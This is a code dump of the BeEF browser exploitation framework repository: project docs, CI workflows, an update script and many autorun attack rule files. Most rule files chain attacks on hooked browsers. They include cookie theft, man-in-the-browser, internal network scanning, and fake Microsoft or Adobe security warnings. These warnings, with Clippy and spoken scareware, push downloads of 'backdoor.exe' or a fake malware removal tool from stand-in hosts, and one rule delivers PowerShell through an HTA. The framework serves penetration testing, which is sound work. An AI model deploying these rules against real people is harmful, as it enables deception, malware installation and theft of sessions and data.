* [Frequently Asked Questions](https://github.com/beefproject/beef/wiki/FAQ)
* [JSdocs](https://beefproject.github.io/beef/index.html)
Usage
-----
To get started, simply execute beef and follow the instructions:
```
$ ./beef
``` |
beef/update-beef | #!/bin/bash
#
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
set -euo pipefail
IFS=$'\n\t'
info() { echo -e "\\033[1;36m[INFO]\\033[0m $*"; }
info 'Updating BeEF from GitHub repository...'
git pull
info 'Updating dependencies...'
if [ -f Gemfile.lock ]; then
rm Gemfile.lock
fi
bundle install |
|
beef/VERSION | #
# Copyright (c) 2006-2023 Wade Alcorn - [email protected]
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
0.5.4.0 |
|
beef/.bundle/config | ---
BUNDLE_WITHOUT: "development:test"
BUNDLE_WITH: "geoip:ext_msf:ext_notifications:ext_dns:ext_qrcode" |
|
Markdown | beef/.github/CONTRIBUTING.md | # Contributing
### Anyone is welcome to make BeEF better!
Thank you for wanting to contribute to BeEF. It's effort like yours that helps make BeEF such a great tool.
Following these guidelines shows that you respect the time of the developers developing this open source project and helps them help you. In response to this, they should return that respect in addressing your issue, assisting with changes, and helping you finalize your pull requests.
### We want any form of helpful contributions!
BeEF is an open source project and we love to receive contributions from the community! There are many ways to contribute, from writing tutorials or blog posts, improving or translating the documentation, answering questions on the project, submitting bug reports and feature requests or writing or reviewing code which can be merged into BeEF itself.
# Ground Rules
### Responsibilities
> * When making an issue, ensure the issue template is filled out, failure to do so can and will result in a closed ticket and a delay in support.
> * We now have a two-week of unresponsiveness period before closing a ticket, if this happens, just comment responding to the issue which will re-open the ticket. Ensure to make sure all information requested is provided.
> * Ensure cross-platform compatibility for every change that's accepted. Mac and Linux are currently supported.
> * Create issues for any major changes and enhancements that you wish to make. Discuss things transparently and get community feedback.
> * Ensure language is as respectful and appropriate as possible.
> * Keep merges as straightforward as possible, only address one issue per commit where possible.
> * Be welcoming to newcomers and try to assist where possible, everyone needs help.
# Where to start
### Looking to make your first contribution
Unsure where to begin contributing to BeEF? You can start by looking through these issues:
* Good First Issue - issues which should only require a few changes, and are good to start with.
* Question - issues which are a question and need a response. A good way to learn more about BeEF is to try to solve a problem.
At this point, you're ready to make your changes! Feel free to ask for help; everyone is a beginner at first.
If a maintainer asks you to "rebase" your PR, they're saying that code has changed, and that you need to update your branch so it's easier to merge.
### Ruby best practise
Do read through: https://rubystyle.guide
Try and follow through with the practices throughout, even going through it once will help keep the codebase consistent.
Use Rubocop to help ensure that the changes adhere to current standards, we are currently catching up old codebase to match.
Just run the following in the /beef directory.
> rubocop
# Getting started
### How to submit a contribution.
1. Create your own fork of the code
2. Checkout the master branch
> git checkout master
3. Create a new branch for your feature
> git checkout -b my-cool-new-feature
4. Add your new files
> git add modules/my-cool-new-module
5. Modify or write a test case/s in Rspec for your changes
6. Commit your changes with a relevant message
> git commit
7. Push your changes to GitHub
> git push origin my-cool-new-feature
8. Run all tests again to make sure they all pass
9. Edit existing wiki page / add a new one explaining the new features, including:
- sample usage (command snippets, steps and/or screenshots)
- internal working (code snippets & explanation)
10. Now browse to the following URL and create your pull request from your fork to beef master
- Fill out the Pull Request Template
- https://github.com/beefproject/beef/pulls
# How to report a bug
If you find a security vulnerability, do NOT open an issue. Email [email protected] instead.
When the security team receives a security bug email, they will assign it to a primary handler.
This person will coordinate the fix and release process, involving the following steps:
* Confirm the problem and find the affected versions.
* Audit code to find any potential similar problems.
* Prepare fixes |
YAML | beef/.github/dependabot.yml | version: 2
updates:
- package-ecosystem: npm
directory: "/"
schedule:
interval: daily
open-pull-requests-limit: 10
ignore:
- dependency-name: jsdoc-to-markdown
versions:
- 7.0.0
- package-ecosystem: bundler
directory: "/"
schedule:
interval: daily
open-pull-requests-limit: 10
ignore:
- dependency-name: rubocop
versions:
- 1.10.0
- 1.11.0
- 1.12.0
- 1.12.1
- 1.9.0
- 1.9.1 |
Markdown | beef/.github/ISSUE_TEMPLATE.md | ## First Steps
1. Confirm that your issue has not been posted previously by searching here: https://github.com/beefproject/beef/issues
2. Confirm that the wiki does not contain the answers you seek: https://github.com/beefproject/beef/wiki
3. Check the FAQ: https://github.com/beefproject/beef/wiki/FAQ
4. BeEF Version:
5. Ruby Version:
6. Browser Details (e.g. Chrome v81.0):
7. Operating System (e.g. OSX Catalina):
## Configuration
1. Have you made any changes to your BeEF configuration? Yes/No
2. Have you enabled or disabled any BeEF extensions? Yes/No
## Steps to Reproduce
1. (eg. I ran install script, which ran fine)
2. (eg. when launching console with './beef' I get an error as follows: <error here>)
3. (eg. beef does not launch)
## How to enable and capture detailed logging
1. Edit `config.yaml` in the root directory
* If using Kali **beef-xss** the root dir will be `/usr/share/beef-xss`
2. Update `client_debug` to `true`
3. Retrieve browser logs from your browser's developer console (Ctrl + Shift + I or F12 depending on browser)
4. Retrieve your server-side logs from `~/.beef/beef.log`
* If using **beef-xss** logs found with `journalctl -u beef-xss`
**If we request additional information and we don't hear back from you within a week, we will be closing the ticket off.** |
Markdown | beef/.github/PULL_REQUEST_TEMPLATE.md | # Pull Request
Thanks for submitting a PR! Please fill in this template where appropriate:
## Category
*e.g. Bug, Module, Extension, Core Functionality, Documentation, Tests*
## Feature/Issue Description
**Q:** Please give a brief summary of your feature/fix
**A:**
**Q:** Give a technical rundown of what you have changed (if applicable)
**A:**
## Test Cases
**Q:** Describe your test cases, what you have covered and if there are any use cases that still need addressing.
**A:**
## Wiki Page
*If you are adding a new feature that is not easily understood without context, please draft a section to be added to the Wiki below.* |
Markdown | beef/.github/SECURITY.md | send security bug reports to [email protected]
**A security report should include:**
1. Description of the problem (what it is, what's the impact)
2. Technical steps to replicate it (commands / screenshots)
3. Actionable fix/recommendations to mitigate the issue |
YAML | beef/.github/workflows/github_actions.yml | name: 'BrowserStack Test'
on:
pull_request_target:
branches: [ master ]
jobs:
approve:
runs-on: ubuntu-latest
steps:
- name: Approve
run: echo For security reasons, all pull requests need to be approved first before running any automated CI.
ubuntu-job:
name: 'BrowserStack Test on Ubuntu'
runs-on: ubuntu-latest # Can be self-hosted runner also
environment:
name: Integrate Pull Request
env:
GITACTIONS: true
steps:
- name: 'BrowserStack Env Setup' # Invokes the setup-env action
uses: browserstack/github-actions/setup-env@master
with:
username: ${{ secrets.BROWSERSTACK_USERNAME }}
access-key: ${{ secrets.BROWSERSTACK_ACCESS_KEY }}
- name: 'BrowserStack Local Tunnel Setup' # Invokes the setup-local action
uses: browserstack/github-actions/setup-local@master
with:
local-testing: start
local-identifier: random
- name: 'Checkout the repository'
uses: actions/checkout@v2
with:
ref: ${{ github.event.pull_request.head.sha }}
fetch-depth: 2
- name: 'Setting up Ruby'
uses: ruby/setup-ruby@v1
with:
ruby-version: 3.0.3 # Not needed with a .ruby-version file
- name: 'Build and run tests'
run: |
sudo apt update
sudo apt install libcurl4 libcurl4-openssl-dev
bundle config unset --local without
bundle config set --local with 'test' 'development'
bundle install
bundle exec rake browserstack --trace
- name: 'BrowserStackLocal Stop' # Terminating the BrowserStackLocal tunnel connection
uses: browserstack/github-actions/setup-local@master
with:
local-testing: stop |
YAML | beef/.github/workflows/stale.yml | # This workflow warns and then closes issues and PRs that have had no activity for a specified amount of time.
#
# You can adjust the behavior by modifying this file.
# For more information, see:
# https://github.com/actions/stale
name: Mark stale issues and pull requests
on:
schedule:
- cron: '5 * * * *'
jobs:
stale:
runs-on: ubuntu-latest
permissions:
issues: write
pull-requests: write
steps:
- uses: actions/stale@v5
with:
repo-token: ${{ secrets.GITHUB_TOKEN }}
days-before-stale: 7
days-before-pr-stale: 14
days-before-close: 7
days-before-pr-close: 14
stale-issue-message: 'This issue as been marked as stale due to inactivity and will be closed in 7 days'
stale-pr-message: 'Stale pull request message'
stale-issue-label: 'Stale'
stale-pr-label: 'no-pr-activity'
exempt-issue-labels: 'Critical, High, Low, Medium, Review, Backlog'
exempt-milestones: true
exempt-draft-pr: true
start-date: '2022-06-15' |
JSON | beef/arerules/alert.json | {"name": "Display an alert",
"author": "mgeeky",
"modules": [
{"name": "alert_dialog",
"condition": null,
"options": {
"text":"You've been BeEFed ;>"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/confirm_close_tab.json | {"name": "Confirm Close Tab",
"author": "mgeeky",
"modules": [
{"name": "confirm_close_tab",
"condition": null,
"code": null,
"options": {
"text":"Are you sure you want to navigate away from this page?",
"usePopUnder":"true"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/c_osx_test-return-mods.json | {
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "S",
"browser_version": ">= 7",
"os": "OSX",
"os_version": "<= 10.10",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--(CICCIO)--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--(PASTICCIO)--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
} |
JSON | beef/arerules/ff_osx_extension-dropper.json | {
"name": "Firefox Extension Dropper",
"author": "antisnatchor",
"browser": "FF",
"os": "OSX",
"os_version": ">= 10.8",
"modules": [{
"name": "firefox_extension_dropper",
"condition": null,
"options": {
"extension_name": "Ummeneske",
"xpi_name": "Ummeneske",
"base_host": "http://172.16.45.1:3000"
}
}],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/get_cookie.json | {
"name": "Get Cookie",
"author": "@benichmt1",
"modules": [
{"name": "get_cookie",
"condition": null,
"options": {
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/ie_win_fakenotification-clippy.json | {
"name": "Ie Fake Notification + Clippy",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "== 11",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please update it."
}
}
,{
"name": "clippy",
"condition": null,
"options": {
"clippydir": "http://172.16.45.1:3000/clippy/",
"askusertext": "Your browser appears to be out of date. Would you like to upgrade it?",
"executeyes": "http://172.16.45.1:3000/updates/backdoor.exe",
"respawntime":"5000",
"thankyoumessage":"Thanks for upgrading your browser! Look forward to a safer, faster web!"
}
}
],
"execution_order": [0,1],
"execution_delay": [0,2000],
"chain_mode": "sequential"
} |
JSON | beef/arerules/ie_win_htapowershell.json | {
"name": "HTA PowerShell",
"author": "antisnatchor",
"browser": "IE",
"os": "Windows",
"os_version": ">= 7",
"modules": [
{
"name": "fake_notification",
"condition": null,
"options": {
"notification_text":"Internet Explorer SECURITY NOTIFICATION: your browser is outdated and vulnerable to critical security vulnerabilities like CVE-2015-009 and CVE-2014-879. Please apply the Microsoft Update below:"
}
},
{
"name": "hta_powershell",
"condition": null,
"options": {
"domain":"http://172.16.45.1:3000",
"ps_url":"/ps"
}
}],
"execution_order": [0,1],
"execution_delay": [0,500],
"chain_mode": "sequential"
} |
JSON | beef/arerules/ie_win_missingflash-prettytheft.json | {
"name": "Fake missing plugin + Pretty Theft LinkedIn",
"author": "antisnatchor",
"browser": "IE",
"browser_version": ">= 8",
"os": "Windows",
"os_version": "== XP",
"modules": [{
"name": "fake_notification_c",
"condition": null,
"options": {
"url": "http://172.16.45.1:3000/updates/backdoor.exe",
"notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
}
}, {
"name": "pretty_theft",
"condition": null,
"options": {
"choice": "Windows",
"backing": "Grey",
"imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
}
}],
"execution_order": [0, 1],
"execution_delay": [0, 5000],
"chain_mode": "sequential"
} |
JSON | beef/arerules/ie_win_test-return-mods.json | {
"name": "Test return debug stuff",
"author": "antisnatchor",
"browser": "IE",
"browser_version": "<= 8",
"os": "Windows",
"os_version": ">= XP",
"modules": [{
"name": "test_return_ascii_chars",
"condition": null,
"options": {}
}, {
"name": "test_return_long_string",
"condition": "status==1",
"code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
"options": {
"repeat": "10",
"repeat_string": "<<mod_input>>"
}
},
{
"name": "alert_dialog",
"condition": "status=1",
"code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
"options":{"text":"<<mod_input>>"}
},
{
"name": "get_page_html",
"condition": null,
"options": {}
}],
"execution_order": [0, 1, 2, 3],
"execution_delay": [0, 0, 0, 0],
"chain_mode": "nested-forward"
} |
JSON | beef/arerules/lan_cors_scan.json | {"name": "LAN CORS Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "cross_origin_scanner_cors",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"2",
"wait":"2",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
} |
JSON | beef/arerules/lan_cors_scan_common.json | {"name": "LAN CORS Scan (Common IPs)",
"author": "bcoles",
"modules": [
{"name": "cross_origin_scanner_cors",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"2",
"wait":"2",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/lan_fingerprint.json | {"name": "LAN Fingerprint",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "internal_network_fingerprinting",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
} |
JSON | beef/arerules/lan_fingerprint_common.json | {"name": "LAN Fingerprint (Common IPs)",
"author": "antisnatchor",
"modules": [
{"name": "internal_network_fingerprinting",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/lan_flash_scan.json | {"name": "LAN Flash Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "cross_origin_scanner_flash",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"ipRange":"<<mod_input>>",
"ports":"80,8080",
"threads":"2",
"timeout":"5"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
} |
JSON | beef/arerules/lan_flash_scan_common.json | {"name": "LAN Flash Scan (Common IPs)",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "cross_origin_scanner_flash",
"condition": null,
"code": null,
"options": {
"ipRange":"common",
"ports":"80,8080",
"threads":"2",
"timeout":"5"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/lan_http_scan.json | {"name": "LAN HTTP Scan",
"author": "bcoles",
"browser": ["FF", "C"],
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "get_http_servers",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"rhosts":"<<mod_input>>",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
} |
JSON | beef/arerules/lan_http_scan_common.json | {"name": "LAN HTTP Scan (Common IPs)",
"author": "bcoles",
"modules": [
{"name": "get_http_servers",
"condition": null,
"code": null,
"options": {
"rhosts":"common",
"ports":"80,8080",
"threads":"3",
"wait":"5",
"timeout":"10"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/lan_ping_sweep.json | {"name": "LAN Ping Sweep",
"author": "bcoles",
"browser": "FF",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "ping_sweep",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
"options": {
"rhosts":"<<mod_input>>",
"threads":"3"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
} |
JSON | beef/arerules/lan_ping_sweep_common.json | {"name": "LAN Ping Sweep (Common IPs)",
"author": "bcoles",
"browser": "FF",
"modules": [
{"name": "ping_sweep",
"condition": null,
"code": null,
"options": {
"rhosts":"common",
"threads":"3"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/lan_port_scan.json | {"name": "LAN Port Scan",
"author": "aburro & aussieklutz",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"<<mod_input>>",
"ports":"80,8080",
"closetimeout":"1100",
"opentimeout":"2500",
"delay":"600",
"debug":"false"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
} |
JSON | beef/arerules/lan_sw_port_scan.json | {"name": "LAN SW Port Scan",
"author": "aburro & aussieklutz",
"modules": [
{"name": "get_internal_ip_webrtc",
"condition": null,
"code": null,
"options": {}
},
{"name": "sw_port_scanner",
"condition": "status==1",
"code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.'+s[3]; var mod_input = start;",
"options": {
"ipHost":"192.168.1.10",
"ports":"80,8080"
}
}
],
"execution_order": [0, 1],
"execution_delay": [0, 0],
"chain_mode": "nested-forward"
} |
JSON | beef/arerules/man_in_the_browser.json | {"name": "Perform Man-In-The-Browser",
"author": "mgeeky",
"modules": [
{"name": "man_in_the_browser",
"condition": null,
"code": null,
"options": {}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/raw_javascript.json | {
"name": "Raw JavaScript",
"author": "[email protected]",
"modules": [
{"name": "raw_javascript",
"condition": null,
"options": {
"cmd": "alert(0xBeEF);"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/record_snapshots.json | {"name": "Collects multiple snapshots of the webpage within Same-Origin",
"author": "mgeeky",
"modules": [
{"name": "spyder_eye",
"condition": null,
"options": {
"repeat":"10",
"delay":"3000"
}
}
],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
} |
JSON | beef/arerules/win_fake_malware.json | // note: update your dropper URL (dropper.local) in each of the modules below
{
"name": "Windows Fake Malware",
"author": "bcoles",
"os": "Windows",
"modules": [
{
"name": "blockui",
"condition": null,
"options": {
"message": "<img src='data:image/png;base64,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'/><p>This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online. <p><a href='http://dropper.local/malware_removal_tool.exe' onclick='$j.unblockUI();'>Microsoft Malware Removal Toolkit</a></p>",
"timeout": "9999"
}
},
{
"name": "text_to_voice",
"condition": null,
"options": {
"message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.",
"language": "en"
}
},
{
"name": "fake_notification_ie",
"condition": null,
"options": {
"url": "http://dropper.local/malware_removal_tool.exe",
"notification_text": "SECURITY WARNING: Download the <a href='http://dropper.local/malware_removal_tool.exe' title='Microsoft Malware Removal Toolkit'>Microsoft Malware Removal Toolkit</a> as soon as possible."
}
}
],
"execution_order": [0,1,2],
"execution_delay": [0,0,0],
"chain_mode": "sequential"
} |
beef/arerules/enabled/README | Move here the ARE rule files that you want to pre-load when BeEF starts.
